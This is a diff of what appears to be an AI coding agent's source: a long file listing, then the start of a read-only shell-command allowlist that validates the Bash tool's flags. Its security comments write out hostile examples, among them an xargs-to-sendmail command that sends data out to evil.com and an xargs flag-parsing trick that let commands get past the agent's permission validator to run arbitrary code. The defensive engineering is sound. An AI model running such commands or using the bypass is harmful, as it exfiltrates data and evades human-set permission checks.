  1555. package/src/utils/hooks/hooksConfigManager.ts +400 -0
  1556. package/src/utils/hooks/hooksConfigSnapshot.ts +133 -0
  1557. package/src/utils/hooks/hooksSettings.ts +271 -0
  1558. package/src/utils/hooks/postSamplingHooks.ts +70 -0
  1559. package/src/utils/hooks/registerFrontmatterHooks.ts +67 -0
  1560. package/src/utils/hooks/registerSkillHooks.ts +64 -0
  1561. package/src/utils/hooks/sessionHooks.ts +447 -0
  1562. package/src/utils/hooks/skillImprovement.ts +267 -0
  1563. package/src/utils/hooks/ssrfGuard.ts +294 -0
  1564. package/src/utils/hooks.ts +5022 -0
  1565. package/src/utils/horizontalScroll.ts +137 -0
  1566. package/src/utils/http.ts +136 -0
  1567. package/src/utils/hyperlink.ts +39 -0
  1568. package/src/utils/iTermBackup.ts +73 -0
  1569. package/src/utils/ide.ts +1494 -0
  1570. package/src/utils/idePathConversion.ts +90 -0
  1571. package/src/utils/idleTimeout.ts +53 -0
  1572. package/src/utils/imagePaste.ts +416 -0
  1573. package/src/utils/imageResizer.ts +880 -0
  1574. package/src/utils/imageStore.ts +167 -0
  1575. package/src/utils/imageValidation.ts +104 -0
  1576. package/src/utils/immediateCommand.ts +15 -0
  1577. package/src/utils/inProcessTeammateHelpers.ts +102 -0
  1578. package/src/utils/ink.ts +26 -0
  1579. package/src/utils/intl.ts +94 -0
  1580. package/src/utils/jetbrains.ts +191 -0
  1581. package/src/utils/json.ts +277 -0
  1582. package/src/utils/jsonRead.ts +16 -0
  1583. package/src/utils/keyboardShortcuts.ts +14 -0
  1584. package/src/utils/lazySchema.ts +8 -0
  1585. package/src/utils/listSessionsImpl.ts +454 -0
  1586. package/src/utils/localInstaller.ts +162 -0
  1587. package/src/utils/lockfile.ts +43 -0
  1588. package/src/utils/log.ts +362 -0
  1589. package/src/utils/logoV2Utils.ts +350 -0
  1590. package/src/utils/mailbox.ts +73 -0
  1591. package/src/utils/managedEnv.ts +199 -0
  1592. package/src/utils/managedEnvConstants.ts +191 -0
  1593. package/src/utils/markdown.ts +381 -0
  1594. package/src/utils/markdownConfigLoader.ts +600 -0
  1595. package/src/utils/mcp/dateTimeParser.ts +121 -0
  1596. package/src/utils/mcp/elicitationValidation.ts +336 -0
  1597. package/src/utils/mcpInstructionsDelta.ts +130 -0
  1598. package/src/utils/mcpOutputStorage.ts +189 -0
  1599. package/src/utils/mcpValidation.ts +208 -0
  1600. package/src/utils/mcpWebSocketTransport.ts +200 -0
  1601. package/src/utils/memoize.ts +269 -0
  1602. package/src/utils/memory/types.ts +12 -0
  1603. package/src/utils/memory/versions.ts +8 -0
  1604. package/src/utils/memoryFileDetection.ts +289 -0
  1605. package/src/utils/messagePredicates.ts +8 -0
  1606. package/src/utils/messageQueueManager.ts +547 -0
  1607. package/src/utils/messages/mappers.ts +290 -0
  1608. package/src/utils/messages/systemInit.ts +96 -0
  1609. package/src/utils/messages.ts +5512 -0
  1610. package/src/utils/model/agent.ts +157 -0
  1611. package/src/utils/model/aliases.ts +25 -0
  1612. package/src/utils/model/antModels.ts +64 -0
  1613. package/src/utils/model/bedrock.ts +265 -0
  1614. package/src/utils/model/check1mAccess.ts +72 -0
  1615. package/src/utils/model/configs.ts +118 -0
  1616. package/src/utils/model/contextWindowUpgradeCheck.ts +47 -0
  1617. package/src/utils/model/deprecation.ts +101 -0
  1618. package/src/utils/model/model.ts +634 -0
  1619. package/src/utils/model/modelAllowlist.ts +170 -0
  1620. package/src/utils/model/modelCapabilities.ts +118 -0
  1621. package/src/utils/model/modelOptions.ts +540 -0
  1622. package/src/utils/model/modelStrings.ts +166 -0
  1623. package/src/utils/model/modelSupportOverrides.ts +50 -0
  1624. package/src/utils/model/providers.ts +46 -0
  1625. package/src/utils/model/validateModel.ts +159 -0
  1626. package/src/utils/modelCost.ts +235 -0
  1627. package/src/utils/modifiers.ts +36 -0
  1628. package/src/utils/mtls.ts +179 -0
  1629. package/src/utils/nativeInstaller/download.ts +523 -0
  1630. package/src/utils/nativeInstaller/index.ts +18 -0
  1631. package/src/utils/nativeInstaller/installer.ts +1708 -0
  1632. package/src/utils/nativeInstaller/packageManagers.ts +336 -0
  1633. package/src/utils/nativeInstaller/pidLock.ts +433 -0
  1634. package/src/utils/notebook.ts +224 -0
  1635. package/src/utils/objectGroupBy.ts +18 -0
  1636. package/src/utils/pasteStore.ts +104 -0
  1637. package/src/utils/path.ts +155 -0
  1638. package/src/utils/pdf.ts +300 -0
  1639. package/src/utils/pdfUtils.ts +70 -0
  1640. package/src/utils/peerAddress.ts +21 -0
  1641. package/src/utils/permissions/PermissionMode.ts +141 -0
  1642. package/src/utils/permissions/PermissionPromptToolResultSchema.ts +127 -0
  1643. package/src/utils/permissions/PermissionResult.ts +35 -0
  1644. package/src/utils/permissions/PermissionRule.ts +40 -0
  1645. package/src/utils/permissions/PermissionUpdate.ts +389 -0
  1646. package/src/utils/permissions/PermissionUpdateSchema.ts +78 -0
  1647. package/src/utils/permissions/autoModeState.ts +39 -0
  1648. package/src/utils/permissions/bashClassifier.ts +61 -0
  1649. package/src/utils/permissions/bypassPermissionsKillswitch.ts +155 -0
  1650. package/src/utils/permissions/classifierDecision.ts +98 -0
  1651. package/src/utils/permissions/classifierShared.ts +39 -0
  1652. package/src/utils/permissions/dangerousPatterns.ts +80 -0
  1653. package/src/utils/permissions/denialTracking.ts +45 -0
  1654. package/src/utils/permissions/filesystem.ts +1777 -0
  1655. package/src/utils/permissions/getNextPermissionMode.ts +101 -0
  1656. package/src/utils/permissions/pathValidation.ts +485 -0
  1657. package/src/utils/permissions/permissionExplainer.ts +250 -0
  1658. package/src/utils/permissions/permissionRuleParser.ts +198 -0
  1659. package/src/utils/permissions/permissionSetup.ts +1532 -0
  1660. package/src/utils/permissions/permissions.ts +1486 -0
  1661. package/src/utils/permissions/permissionsLoader.ts +296 -0
  1662. package/src/utils/permissions/shadowedRuleDetection.ts +234 -0
  1663. package/src/utils/permissions/shellRuleMatching.ts +228 -0
  1664. package/src/utils/permissions/yoloClassifier.ts +1495 -0
  1665. package/src/utils/planModeV2.ts +95 -0
  1666. package/src/utils/plans.ts +397 -0
  1667. package/src/utils/platform.ts +150 -0
  1668. package/src/utils/plugins/addDirPluginSettings.ts +71 -0
  1669. package/src/utils/plugins/cacheUtils.ts +196 -0
  1670. package/src/utils/plugins/dependencyResolver.ts +305 -0
  1671. package/src/utils/plugins/fetchTelemetry.ts +135 -0
  1672. package/src/utils/plugins/gitAvailability.ts +69 -0
  1673. package/src/utils/plugins/headlessPluginInstall.ts +174 -0
  1674. package/src/utils/plugins/hintRecommendation.ts +164 -0
  1675. package/src/utils/plugins/installCounts.ts +292 -0
  1676. package/src/utils/plugins/installedPluginsManager.ts +1268 -0
  1677. package/src/utils/plugins/loadPluginAgents.ts +348 -0
  1678. package/src/utils/plugins/loadPluginCommands.ts +946 -0
  1679. package/src/utils/plugins/loadPluginHooks.ts +287 -0
  1680. package/src/utils/plugins/loadPluginOutputStyles.ts +178 -0
  1681. package/src/utils/plugins/lspPluginIntegration.ts +387 -0
  1682. package/src/utils/plugins/lspRecommendation.ts +374 -0
  1683. package/src/utils/plugins/managedPlugins.ts +27 -0
  1684. package/src/utils/plugins/marketplaceHelpers.ts +592 -0
  1685. package/src/utils/plugins/marketplaceManager.ts +2643 -0
  1686. package/src/utils/plugins/mcpPluginIntegration.ts +634 -0
  1687. package/src/utils/plugins/mcpbHandler.ts +968 -0
  1688. package/src/utils/plugins/officialMarketplace.ts +25 -0
  1689. package/src/utils/plugins/officialMarketplaceGcs.ts +216 -0
  1690. package/src/utils/plugins/officialMarketplaceStartupCheck.ts +439 -0
  1691. package/src/utils/plugins/orphanedPluginFilter.ts +114 -0
  1692. package/src/utils/plugins/parseMarketplaceInput.ts +162 -0
  1693. package/src/utils/plugins/performStartupChecks.tsx +70 -0
  1694. package/src/utils/plugins/pluginAutoupdate.ts +284 -0
  1695. package/src/utils/plugins/pluginBlocklist.ts +127 -0
  1696. package/src/utils/plugins/pluginDirectories.ts +178 -0
  1697. package/src/utils/plugins/pluginFlagging.ts +208 -0
  1698. package/src/utils/plugins/pluginIdentifier.ts +123 -0
  1699. package/src/utils/plugins/pluginInstallationHelpers.ts +595 -0
  1700. package/src/utils/plugins/pluginLoader.ts +3302 -0
  1701. package/src/utils/plugins/pluginOptionsStorage.ts +400 -0
  1702. package/src/utils/plugins/pluginPolicy.ts +20 -0
  1703. package/src/utils/plugins/pluginStartupCheck.ts +341 -0
  1704. package/src/utils/plugins/pluginVersioning.ts +157 -0
  1705. package/src/utils/plugins/reconciler.ts +265 -0
  1706. package/src/utils/plugins/refresh.ts +215 -0
  1707. package/src/utils/plugins/schemas.ts +1681 -0
  1708. package/src/utils/plugins/validatePlugin.ts +903 -0
  1709. package/src/utils/plugins/walkPluginMarkdown.ts +69 -0
  1710. package/src/utils/plugins/zipCache.ts +406 -0
  1711. package/src/utils/plugins/zipCacheAdapters.ts +164 -0
  1712. package/src/utils/powershell/dangerousCmdlets.ts +185 -0
  1713. package/src/utils/powershell/parser.ts +1804 -0
  1714. package/src/utils/powershell/staticPrefix.ts +316 -0
  1715. package/src/utils/preflightChecks.tsx +151 -0
  1716. package/src/utils/privacyLevel.ts +55 -0
  1717. package/src/utils/process.ts +68 -0
  1718. package/src/utils/processUserInput/processBashCommand.tsx +140 -0
  1719. package/src/utils/processUserInput/processSlashCommand.tsx +922 -0
  1720. package/src/utils/processUserInput/processTextPrompt.ts +100 -0
  1721. package/src/utils/processUserInput/processUserInput.ts +605 -0
  1722. package/src/utils/profilerBase.ts +46 -0
  1723. package/src/utils/promptCategory.ts +49 -0
  1724. package/src/utils/promptEditor.ts +188 -0
  1725. package/src/utils/promptShellExecution.ts +183 -0
  1726. package/src/utils/proxy.ts +426 -0
  1727. package/src/utils/queryContext.ts +179 -0
  1728. package/src/utils/queryHelpers.ts +552 -0
  1729. package/src/utils/queryProfiler.ts +301 -0
  1730. package/src/utils/queueProcessor.ts +95 -0
  1731. package/src/utils/readEditContext.ts +227 -0
  1732. package/src/utils/readFileInRange.ts +383 -0
  1733. package/src/utils/releaseNotes.ts +360 -0
  1734. package/src/utils/renderOptions.ts +77 -0
  1735. package/src/utils/ripgrep.ts +679 -0
  1736. package/src/utils/sandbox/sandbox-adapter.ts +985 -0
  1737. package/src/utils/sandbox/sandbox-ui-utils.ts +12 -0
  1738. package/src/utils/sanitization.ts +91 -0
  1739. package/src/utils/screenshotClipboard.ts +121 -0
  1740. package/src/utils/sdkEventQueue.ts +134 -0
  1741. package/src/utils/secureStorage/fallbackStorage.ts +70 -0
  1742. package/src/utils/secureStorage/index.ts +17 -0
  1743. package/src/utils/secureStorage/keychainPrefetch.ts +116 -0
  1744. package/src/utils/secureStorage/macOsKeychainHelpers.ts +111 -0
  1745. package/src/utils/secureStorage/macOsKeychainStorage.ts +231 -0
  1746. package/src/utils/secureStorage/plainTextStorage.ts +84 -0
  1747. package/src/utils/semanticBoolean.ts +29 -0
  1748. package/src/utils/semanticNumber.ts +36 -0
  1749. package/src/utils/semver.ts +59 -0
  1750. package/src/utils/sequential.ts +56 -0
  1751. package/src/utils/sessionActivity.ts +133 -0
  1752. package/src/utils/sessionEnvVars.ts +22 -0
  1753. package/src/utils/sessionEnvironment.ts +166 -0
  1754. package/src/utils/sessionFileAccessHooks.ts +250 -0
  1755. package/src/utils/sessionIngressAuth.ts +140 -0
  1756. package/src/utils/sessionRestore.ts +551 -0
  1757. package/src/utils/sessionStart.ts +232 -0
  1758. package/src/utils/sessionState.ts +150 -0
  1759. package/src/utils/sessionStorage.ts +5105 -0
  1760. package/src/utils/sessionStoragePortable.ts +793 -0
  1761. package/src/utils/sessionTitle.ts +129 -0
  1762. package/src/utils/sessionUrl.ts +64 -0
  1763. package/src/utils/set.ts +53 -0
  1764. package/src/utils/settings/allErrors.ts +32 -0
  1765. package/src/utils/settings/applySettingsChange.ts +92 -0
  1766. package/src/utils/settings/changeDetector.ts +488 -0
  1767. package/src/utils/settings/constants.ts +202 -0
  1768. package/src/utils/settings/internalWrites.ts +37 -0
  1769. package/src/utils/settings/managedPath.ts +34 -0
  1770. package/src/utils/settings/mdm/constants.ts +81 -0
  1771. package/src/utils/settings/mdm/rawRead.ts +130 -0
  1772. package/src/utils/settings/mdm/settings.ts +316 -0
  1773. package/src/utils/settings/permissionValidation.ts +262 -0
  1774. package/src/utils/settings/pluginOnlyPolicy.ts +60 -0
  1775. package/src/utils/settings/schemaOutput.ts +8 -0
  1776. package/src/utils/settings/settings.ts +1015 -0
  1777. package/src/utils/settings/settingsCache.ts +80 -0
  1778. package/src/utils/settings/toolValidationConfig.ts +103 -0
  1779. package/src/utils/settings/types.ts +1148 -0
  1780. package/src/utils/settings/validateEditTool.ts +45 -0
  1781. package/src/utils/settings/validation.ts +265 -0
  1782. package/src/utils/settings/validationTips.ts +164 -0
  1783. package/src/utils/shell/bashProvider.ts +255 -0
  1784. package/src/utils/shell/outputLimits.ts +14 -0
  1785. package/src/utils/shell/powershellDetection.ts +107 -0
  1786. package/src/utils/shell/powershellProvider.ts +123 -0
  1787. package/src/utils/shell/prefix.ts +367 -0
  1788. package/src/utils/shell/readOnlyCommandValidation.ts +1893 -0
  1789. package/src/utils/shell/resolveDefaultShell.ts +14 -0
  1790. package/src/utils/shell/shellProvider.ts +33 -0
  1791. package/src/utils/shell/shellToolUtils.ts +22 -0
  1792. package/src/utils/shell/specPrefix.ts +241 -0
  1793. package/src/utils/shellConfig.ts +167 -0
  1794. package/src/utils/sideQuery.ts +222 -0
  1795. package/src/utils/sideQuestion.ts +155 -0
  1796. package/src/utils/signal.ts +43 -0
  1797. package/src/utils/sinks.ts +16 -0
  1798. package/src/utils/skills/skillChangeDetector.ts +311 -0
  1799. package/src/utils/slashCommandParsing.ts +60 -0
  1800. package/src/utils/sleep.ts +84 -0
  1801. package/src/utils/sliceAnsi.ts +91 -0
  1802. package/src/utils/slowOperations.ts +286 -0
  1803. package/src/utils/standaloneAgent.ts +23 -0
  1804. package/src/utils/startupProfiler.ts +194 -0
  1805. package/src/utils/staticRender.tsx +116 -0
  1806. package/src/utils/stats.ts +1061 -0
  1807. package/src/utils/statsCache.ts +434 -0
  1808. package/src/utils/status.tsx +362 -0
  1809. package/src/utils/statusNoticeDefinitions.tsx +198 -0
  1810. package/src/utils/statusNoticeHelpers.ts +20 -0
  1811. package/src/utils/stream.ts +76 -0
  1812. package/src/utils/streamJsonStdoutGuard.ts +123 -0
  1813. package/src/utils/streamlinedTransform.ts +201 -0
  1814. package/src/utils/stringUtils.ts +235 -0
  1815. package/src/utils/subprocessEnv.ts +99 -0
  1816. package/src/utils/suggestions/commandSuggestions.ts +567 -0
  1817. package/src/utils/suggestions/directoryCompletion.ts +263 -0
  1818. package/src/utils/suggestions/shellHistoryCompletion.ts +119 -0
  1819. package/src/utils/suggestions/skillUsageTracking.ts +55 -0
  1820. package/src/utils/suggestions/slackChannelSuggestions.ts +209 -0
  1821. package/src/utils/swarm/It2SetupPrompt.tsx +380 -0
  1822. package/src/utils/swarm/backends/ITermBackend.ts +370 -0
  1823. package/src/utils/swarm/backends/InProcessBackend.ts +339 -0
  1824. package/src/utils/swarm/backends/PaneBackendExecutor.ts +354 -0
  1825. package/src/utils/swarm/backends/TmuxBackend.ts +764 -0
  1826. package/src/utils/swarm/backends/detection.ts +128 -0
  1827. package/src/utils/swarm/backends/it2Setup.ts +245 -0
  1828. package/src/utils/swarm/backends/registry.ts +464 -0
  1829. package/src/utils/swarm/backends/teammateModeSnapshot.ts +87 -0
  1830. package/src/utils/swarm/backends/types.ts +311 -0
  1831. package/src/utils/swarm/constants.ts +33 -0
  1832. package/src/utils/swarm/inProcessRunner.ts +1552 -0
  1833. package/src/utils/swarm/leaderPermissionBridge.ts +54 -0
  1834. package/src/utils/swarm/permissionSync.ts +928 -0
  1835. package/src/utils/swarm/reconnection.ts +119 -0
  1836. package/src/utils/swarm/spawnInProcess.ts +328 -0
  1837. package/src/utils/swarm/spawnUtils.ts +146 -0
  1838. package/src/utils/swarm/teamHelpers.ts +683 -0
  1839. package/src/utils/swarm/teammateInit.ts +129 -0
  1840. package/src/utils/swarm/teammateLayoutManager.ts +107 -0
  1841. package/src/utils/swarm/teammateModel.ts +10 -0
  1842. package/src/utils/swarm/teammatePromptAddendum.ts +18 -0
  1843. package/src/utils/systemDirectories.ts +74 -0
  1844. package/src/utils/systemPrompt.ts +123 -0
  1845. package/src/utils/systemPromptType.ts +14 -0
  1846. package/src/utils/systemTheme.ts +119 -0
  1847. package/src/utils/taggedId.ts +54 -0
  1848. package/src/utils/task/TaskOutput.ts +390 -0
  1849. package/src/utils/task/diskOutput.ts +451 -0
  1850. package/src/utils/task/framework.ts +308 -0
  1851. package/src/utils/task/outputFormatting.ts +38 -0
  1852. package/src/utils/task/sdkProgress.ts +36 -0
  1853. package/src/utils/tasks.ts +862 -0
  1854. package/src/utils/teamDiscovery.ts +81 -0
  1855. package/src/utils/teamMemoryOps.ts +88 -0
  1856. package/src/utils/teammate.ts +292 -0
  1857. package/src/utils/teammateContext.ts +96 -0
  1858. package/src/utils/teammateMailbox.ts +1183 -0
  1859. package/src/utils/telemetry/betaSessionTracing.ts +491 -0
  1860. package/src/utils/telemetry/bigqueryExporter.ts +252 -0
  1861. package/src/utils/telemetry/events.ts +75 -0
  1862. package/src/utils/telemetry/instrumentation.ts +825 -0
  1863. package/src/utils/telemetry/logger.ts +26 -0
  1864. package/src/utils/telemetry/perfettoTracing.ts +1120 -0
  1865. package/src/utils/telemetry/pluginTelemetry.ts +289 -0
  1866. package/src/utils/telemetry/sessionTracing.ts +927 -0
  1867. package/src/utils/telemetry/skillLoadedEvent.ts +39 -0
  1868. package/src/utils/telemetryAttributes.ts +71 -0
  1869. package/src/utils/teleport/api.ts +466 -0
  1870. package/src/utils/teleport/environmentSelection.ts +77 -0
  1871. package/src/utils/teleport/environments.ts +120 -0
  1872. package/src/utils/teleport/gitBundle.ts +292 -0
  1873. package/src/utils/teleport.tsx +1226 -0
  1874. package/src/utils/tempfile.ts +31 -0
  1875. package/src/utils/terminal.ts +131 -0
  1876. package/src/utils/terminalPanel.ts +191 -0
  1877. package/src/utils/textHighlighting.ts +166 -0
  1878. package/src/utils/theme.ts +639 -0
  1879. package/src/utils/thinking.ts +162 -0
  1880. package/src/utils/timeouts.ts +39 -0
  1881. package/src/utils/tmuxSocket.ts +427 -0
  1882. package/src/utils/todo/types.ts +18 -0
  1883. package/src/utils/tokenBudget.ts +73 -0
  1884. package/src/utils/tokens.ts +261 -0
  1885. package/src/utils/toolErrors.ts +132 -0
  1886. package/src/utils/toolPool.ts +79 -0
  1887. package/src/utils/toolResultStorage.ts +1040 -0
  1888. package/src/utils/toolSchemaCache.ts +26 -0
  1889. package/src/utils/toolSearch.ts +756 -0
  1890. package/src/utils/transcriptSearch.ts +202 -0
  1891. package/src/utils/treeify.ts +170 -0
  1892. package/src/utils/truncate.ts +179 -0
  1893. package/src/utils/ultraplan/ccrSession.ts +349 -0
  1894. package/src/utils/ultraplan/keyword.ts +127 -0
  1895. package/src/utils/ultraplan/prompt.txt +1 -0
  1896. package/src/utils/unaryLogging.ts +39 -0
  1897. package/src/utils/undercover.ts +89 -0
  1898. package/src/utils/user.ts +194 -0
  1899. package/src/utils/userAgent.ts +10 -0
  1900. package/src/utils/userPromptKeywords.ts +27 -0
  1901. package/src/utils/uuid.ts +27 -0
  1902. package/src/utils/warningHandler.ts +121 -0
  1903. package/src/utils/which.ts +82 -0
  1904. package/src/utils/windowsPaths.ts +173 -0
  1905. package/src/utils/withResolvers.ts +13 -0
  1906. package/src/utils/words.ts +800 -0
  1907. package/src/utils/workloadContext.ts +57 -0
  1908. package/src/utils/worktree.ts +1519 -0
  1909. package/src/utils/worktreeModeEnabled.ts +11 -0
  1910. package/src/utils/xdg.ts +65 -0
  1911. package/src/utils/xml.ts +16 -0
  1912. package/src/utils/yaml.ts +15 -0
  1913. package/src/utils/zodToJsonSchema.ts +23 -0
  1914. package/src/vim/motions.ts +82 -0
  1915. package/src/vim/operators.ts +556 -0
  1916. package/src/vim/textObjects.ts +186 -0
  1917. package/src/vim/transitions.ts +490 -0
  1918. package/src/vim/types.ts +199 -0
  1919. package/src/voice/voiceModeEnabled.ts +54 -0
  1920. package/start.js +1 -0
@@ -0,0 +1,1990 @@
1
+ import type { z } from 'zod/v4'
2
+ import { getOriginalCwd } from '../../bootstrap/state.js'
3
+ import {
4
+ extractOutputRedirections,
5
+ splitCommand_DEPRECATED,
6
+ } from '../../utils/bash/commands.js'
7
+ import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
8
+ import { getCwd } from '../../utils/cwd.js'
9
+ import { isCurrentDirectoryBareGitRepo } from '../../utils/git.js'
10
+ import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
11
+ import { getPlatform } from '../../utils/platform.js'
12
+ import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
13
+ import {
14
+ containsVulnerableUncPath,
15
+ DOCKER_READ_ONLY_COMMANDS,
16
+ EXTERNAL_READONLY_COMMANDS,
17
+ type FlagArgType,
18
+ GH_READ_ONLY_COMMANDS,
19
+ GIT_READ_ONLY_COMMANDS,
20
+ PYRIGHT_READ_ONLY_COMMANDS,
21
+ RIPGREP_READ_ONLY_COMMANDS,
22
+ validateFlags,
23
+ } from '../../utils/shell/readOnlyCommandValidation.js'
24
+ import type { BashTool } from './BashTool.js'
25
+ import { isNormalizedGitCommand } from './bashPermissions.js'
26
+ import { bashCommandIsSafe_DEPRECATED } from './bashSecurity.js'
27
+ import {
28
+ COMMAND_OPERATION_TYPE,
29
+ PATH_EXTRACTORS,
30
+ type PathCommand,
31
+ } from './pathValidation.js'
32
+ import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
33
+
34
+ // Unified command validation configuration system
35
+ type CommandConfig = {
36
+ // A Record mapping from the command (e.g. `xargs` or `git diff`) to its safe flags and the values they accept
37
+ safeFlags: Record<string, FlagArgType>
38
+ // An optional regex that is used for additional validation beyond flag parsing
39
+ regex?: RegExp
40
+ // An optional callback for additional custom validation logic. Returns true if the command is dangerous,
41
+ // false if it appears to be safe. Meant to be used in conjunction with the safeFlags-based validation.
42
+ additionalCommandIsDangerousCallback?: (
43
+ rawCommand: string,
44
+ args: string[],
45
+ ) => boolean
46
+ // When false, the tool does NOT respect POSIX `--` end-of-options.
47
+ // validateFlags will continue checking flags after `--` instead of breaking.
48
+ // Default: true (most tools respect `--`).
49
+ respectsDoubleDash?: boolean
50
+ }
51
+
52
+ // Shared safe flags for fd and fdfind (Debian/Ubuntu package name)
53
+ // SECURITY: -x/--exec and -X/--exec-batch are deliberately excluded —
54
+ // they execute arbitrary commands for each search result.
55
+ const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
56
+ '-h': 'none',
57
+ '--help': 'none',
58
+ '-V': 'none',
59
+ '--version': 'none',
60
+ '-H': 'none',
61
+ '--hidden': 'none',
62
+ '-I': 'none',
63
+ '--no-ignore': 'none',
64
+ '--no-ignore-vcs': 'none',
65
+ '--no-ignore-parent': 'none',
66
+ '-s': 'none',
67
+ '--case-sensitive': 'none',
68
+ '-i': 'none',
69
+ '--ignore-case': 'none',
70
+ '-g': 'none',
71
+ '--glob': 'none',
72
+ '--regex': 'none',
73
+ '-F': 'none',
74
+ '--fixed-strings': 'none',
75
+ '-a': 'none',
76
+ '--absolute-path': 'none',
77
+ // SECURITY: -l/--list-details EXCLUDED — internally executes `ls` as subprocess (same
78
+ // pathway as --exec-batch). PATH hijacking risk if malicious `ls` is on PATH.
79
+ '-L': 'none',
80
+ '--follow': 'none',
81
+ '-p': 'none',
82
+ '--full-path': 'none',
83
+ '-0': 'none',
84
+ '--print0': 'none',
85
+ '-d': 'number',
86
+ '--max-depth': 'number',
87
+ '--min-depth': 'number',
88
+ '--exact-depth': 'number',
89
+ '-t': 'string',
90
+ '--type': 'string',
91
+ '-e': 'string',
92
+ '--extension': 'string',
93
+ '-S': 'string',
94
+ '--size': 'string',
95
+ '--changed-within': 'string',
96
+ '--changed-before': 'string',
97
+ '-o': 'string',
98
+ '--owner': 'string',
99
+ '-E': 'string',
100
+ '--exclude': 'string',
101
+ '--ignore-file': 'string',
102
+ '-c': 'string',
103
+ '--color': 'string',
104
+ '-j': 'number',
105
+ '--threads': 'number',
106
+ '--max-buffer-time': 'string',
107
+ '--max-results': 'number',
108
+ '-1': 'none',
109
+ '-q': 'none',
110
+ '--quiet': 'none',
111
+ '--show-errors': 'none',
112
+ '--strip-cwd-prefix': 'none',
113
+ '--one-file-system': 'none',
114
+ '--prune': 'none',
115
+ '--search-path': 'string',
116
+ '--base-directory': 'string',
117
+ '--path-separator': 'string',
118
+ '--batch-size': 'number',
119
+ '--no-require-git': 'none',
120
+ '--hyperlink': 'string',
121
+ '--and': 'string',
122
+ '--format': 'string',
123
+ }
124
+
125
+ // Central configuration for allowlist-based command validation
126
+ // All commands and flags here should only allow reading files. They should not
127
+ // allow writing to files, executing code, or creating network requests.
128
+ const COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
129
+ xargs: {
130
+ safeFlags: {
131
+ '-I': '{}',
132
+ // SECURITY: `-i` and `-e` (lowercase) REMOVED — both use GNU getopt
133
+ // optional-attached-arg semantics (`i::`, `e::`). The arg MUST be
134
+ // attached (`-iX`, `-eX`); space-separated (`-i X`, `-e X`) means the
135
+ // flag takes NO arg and `X` becomes the next positional (target command).
136
+ //
137
+ // `-i` (`i::` — optional replace-str):
138
+ // echo /usr/sbin/sendm | xargs -it tail a@evil.com
139
+ // validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
140
+ // GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
141
+ //
142
+ // `-e` (`e::` — optional eof-str):
143
+ // cat data | xargs -e EOF echo foo
144
+ // validator: -e consumes 'EOF' as arg (type 'EOF'), echo ∈ SAFE_TARGET
145
+ // GNU: -e no attached arg → no eof-str, 'EOF' is the TARGET COMMAND
146
+ // → executes binary named EOF from PATH → CODE EXEC (malicious repo)
147
+ //
148
+ // Use uppercase `-I {}` (mandatory arg) and `-E EOF` (POSIX, mandatory
149
+ // arg) instead — both validator and xargs agree on argument consumption.
150
+ // `-i`/`-e` are deprecated (GNU: "use -I instead" / "use -E instead").
151
+ '-n': 'number',
152
+ '-P': 'number',
153
+ '-L': 'number',
154
+ '-s': 'number',
155
+ '-E': 'EOF', // POSIX, MANDATORY separate arg — validator & xargs agree
156
+ '-0': 'none',
157
+ '-t': 'none',
158
+ '-r': 'none',
159
+ '-x': 'none',
160
+ '-d': 'char',
161
+ },
162
+ },
163
+ // All git read-only commands from shared validation map
164
+ ...GIT_READ_ONLY_COMMANDS,
165
+ file: {
166
+ safeFlags: {
167
+ // Output format flags
168
+ '--brief': 'none',
169
+ '-b': 'none',
170
+ '--mime': 'none',
171
+ '-i': 'none',
172
+ '--mime-type': 'none',
173
+ '--mime-encoding': 'none',
174
+ '--apple': 'none',
175
+ // Behavior flags
176
+ '--check-encoding': 'none',
177
+ '-c': 'none',
178
+ '--exclude': 'string',
179
+ '--exclude-quiet': 'string',
180
+ '--print0': 'none',
181
+ '-0': 'none',
182
+ '-f': 'string',
183
+ '-F': 'string',
184
+ '--separator': 'string',
185
+ '--help': 'none',
186
+ '--version': 'none',
187
+ '-v': 'none',
188
+ // Following/dereferencing
189
+ '--no-dereference': 'none',
190
+ '-h': 'none',
191
+ '--dereference': 'none',
192
+ '-L': 'none',
193
+ // Magic file options (safe when just reading)
194
+ '--magic-file': 'string',
195
+ '-m': 'string',
196
+ // Other safe options
197
+ '--keep-going': 'none',
198
+ '-k': 'none',
199
+ '--list': 'none',
200
+ '-l': 'none',
201
+ '--no-buffer': 'none',
202
+ '-n': 'none',
203
+ '--preserve-date': 'none',
204
+ '-p': 'none',
205
+ '--raw': 'none',
206
+ '-r': 'none',
207
+ '-s': 'none',
208
+ '--special-files': 'none',
209
+ // Uncompress flag for archives
210
+ '--uncompress': 'none',
211
+ '-z': 'none',
212
+ },
213
+ },
214
+ sed: {
215
+ safeFlags: {
216
+ // Expression flags
217
+ '--expression': 'string',
218
+ '-e': 'string',
219
+ // Output control
220
+ '--quiet': 'none',
221
+ '--silent': 'none',
222
+ '-n': 'none',
223
+ // Extended regex
224
+ '--regexp-extended': 'none',
225
+ '-r': 'none',
226
+ '--posix': 'none',
227
+ '-E': 'none',
228
+ // Line handling
229
+ '--line-length': 'number',
230
+ '-l': 'number',
231
+ '--zero-terminated': 'none',
232
+ '-z': 'none',
233
+ '--separate': 'none',
234
+ '-s': 'none',
235
+ '--unbuffered': 'none',
236
+ '-u': 'none',
237
+ // Debugging/help
238
+ '--debug': 'none',
239
+ '--help': 'none',
240
+ '--version': 'none',
241
+ },
242
+ additionalCommandIsDangerousCallback: (
243
+ rawCommand: string,
244
+ _args: string[],
245
+ ) => !sedCommandIsAllowedByAllowlist(rawCommand),
246
+ },
247
+ sort: {
248
+ safeFlags: {
249
+ // Sorting options
250
+ '--ignore-leading-blanks': 'none',
251
+ '-b': 'none',
252
+ '--dictionary-order': 'none',
253
+ '-d': 'none',
254
+ '--ignore-case': 'none',
255
+ '-f': 'none',
256
+ '--general-numeric-sort': 'none',
257
+ '-g': 'none',
258
+ '--human-numeric-sort': 'none',
259
+ '-h': 'none',
260
+ '--ignore-nonprinting': 'none',
261
+ '-i': 'none',
262
+ '--month-sort': 'none',
263
+ '-M': 'none',
264
+ '--numeric-sort': 'none',
265
+ '-n': 'none',
266
+ '--random-sort': 'none',
267
+ '-R': 'none',
268
+ '--reverse': 'none',
269
+ '-r': 'none',
270
+ '--sort': 'string',
271
